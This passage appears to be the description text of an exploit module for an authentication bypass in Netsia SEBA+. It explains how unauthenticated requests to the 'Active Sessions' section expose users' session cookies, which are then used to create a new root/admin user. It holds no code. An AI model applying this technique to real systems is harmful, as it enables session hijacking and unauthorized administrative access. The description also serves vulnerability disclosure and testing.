        This module exploits an authentication bypass in Netsia SEBA+, triggered by add new root/admin user.
        HTTP requests made to the "Active Sessions" section which can be accessed by root/admin user, 
        can be performed without the need for any session(cookie) information. 
        Therefore, the session cookie informations of the active users in the application can be read from the response content.
        A new authorized user can be created with the obtained cookie.
